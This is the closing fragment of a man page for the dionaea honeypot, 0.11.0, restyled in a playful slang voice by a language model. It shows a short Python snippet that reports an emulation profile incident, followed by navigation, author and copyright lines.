i = incident("dionaea.module.emu.profile")
i.set("profile", str(p))
i.report()
- genindex
- modindex
- search
๐ AUTHOR
dionaea
ยฉ๏ธ COPYRIGHT
2024, dionaea
And that's the whole page, bestie โ we ate and left absolutely no crumbs. ๐๐ This was 0.11.0, dated Jul 04, 2024, and it's DIONAEA(1) โ go forth and emulate responsibly, mwah ๐
โจ๐
๐ฆ where this page comes from
- epel 9: dionaea 0.11.0-1.20210228git4e459f1.el9 ยท GPLv2 with exceptions
- ๐ girlified by deepseek-ai/DeepSeek-V4.1-Flash-1017 on : a language model's rewrite of the original, under its terms